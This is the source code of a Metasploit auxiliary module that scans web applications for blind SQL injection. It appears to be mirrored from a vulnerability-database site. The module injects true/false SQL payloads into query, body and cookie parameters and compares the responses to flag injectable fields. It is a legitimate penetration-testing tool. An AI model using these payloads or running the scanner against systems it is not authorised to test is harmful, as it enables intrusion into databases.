##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Blind SQL Injection Scanner',
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
in GET/POST Query parameters values.
},
'Author' => [ 'et [at] cyberspace.org' ],
'License' => BSD_LICENSE))
register_options(
[
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body Data", '']),
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
])
end
def run_host(ip)
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()
rnum=rand(10000)
inivalstr = [
[ 'numeric',
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum+1} "
],
[ 'single quotes',
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum+1}"
],
[ 'double quotes',
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum+1}"
],
[ 'OR single quotes uncommented',
"' OR '#{rnum}'='#{rnum}",
"' OR '#{rnum}'='#{rnum+1}"
],
[ 'OR single quotes closed and commented',
"' OR '#{rnum}'='#{rnum}'--",
"' OR '#{rnum}'='#{rnum+1}'--"
],
[ 'hex encoded OR single quotes uncommented',
"'%20OR%20'#{rnum}'%3D'#{rnum}",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}"
],
[ 'hex encoded OR single quotes closed and commented',
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"
]
]
# Creating strings with true and false values
valstr = []
inivalstr.each do |vstr|
# With true values
valstr << vstr
# With false values, appending 'x' to real value
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
# With false values, appending '0' to real value
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
end
#valstr.each do |v|
# print_status("#{v[0]}")
# print_status("#{v[1]}")
# print_status("#{v[2]}")
#end
#
# Dealing with empty query/data and making them hashes.
#
if !datastore['QUERY'] or datastore['QUERY'].empty?
datastore['QUERY'] = nil
gvars = nil
else
gvars = queryparse(datastore['QUERY']) #Now its a Hash
end
if !datastore['DATA'] or datastore['DATA'].empty?
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
verifynr=2
i=0
k=0
c=0
normalres = nil
verifynr.times do |j|
#SEND NORMAL REQUEST
begin
normalres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
if not normalres
print_error("No response")
return
else
if i==0
k = normalres.body.length
c = normalres.code.to_i
else
if k != normalres.body.length
print_error("Normal response body vary")
return
end
if c != normalres.code.to_i
print_error("Normal response code vary")
return
end
end
end
end
print_status("[Normal response body: #{k} code: #{c}]")
pinj = false
valstr.each do |tarr|
#QUERY
if gvars
gvars.each do |key,value|
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
#SEND TRUE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[1]
t = testgvars[key]
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
#SEND FALSE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[2]
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => normalize_uri(datastore['PATH']),
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
#DATA
if pvars
pvars.each do |key,value|
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
#SEND TRUE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[1]
t = testpvars[key]
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
#SEND FALSE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[2]
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
end
end
def detection_a(normalr,truer,falser,tarr)
# print_status("A")
# DETECTION A
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
if normalr and truer
#Very simple way to compare responses, this can be improved a lot , at this time just the simple way
reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)
normalsize = normalr.body.length
#print_status("normalsize #{normalsize} truesize #{reltruesize}")
if reltruesize == normalsize
if falser
relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)
#print_status("falsesize #{relfalsesize}")
if reltruesize > relfalsesize
print_status("Detected by test A")
return true
else
return false
end
else
vprint_status("NO False Response.")
end
else
vprint_status("Normal and True requests are different.")
end
else
print_status("No response.")
end
return false
end
def detection_b(normalr,truer,falser,tarr)
# print_status("B")
# DETECTION B
# Variance on res body
if normalr and truer
if falser
#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length
print_status("Detected by test B")
return true
end
if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length
print_status("Detected by test B")
return true
end
end
end
return false
end
def detection_c(normalr,truer,falser,tarr)
# print_status("C")
# DETECTION C
# Variance on res code of true or false statements
if normalr and truer
if falser
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
print_status("Detected by test C")
return true
end
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
print_status("Detected by test C")
return true
end
end
end
return false
end
def detection_d(normalr,truer,falser,tarr)
# print_status("D")
# DETECTION D
# Variance PERCENTAGE MIN MAX on res body
# 2% 50%
max_diff_perc = 2
min_diff_perc = 50
if normalr and truer
if falser
nl= normalr.body.length
tl= truer.body.length
fl= falser.body.length
if nl == 0
nl = 1
end
if tl == 0
tl = 1
end
if fl == 0
fl = 1
end
ntmax = [ nl,tl ].max
ntmin = [ nl,tl ].min
diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)
diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
print_status("Detected by test D")
return true
end
nfmax = [ nl,fl ].max
nfmin = [ nl,fl ].min
diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)
diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
print_status("Detected by test D")
return true
end
end
end
return false
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation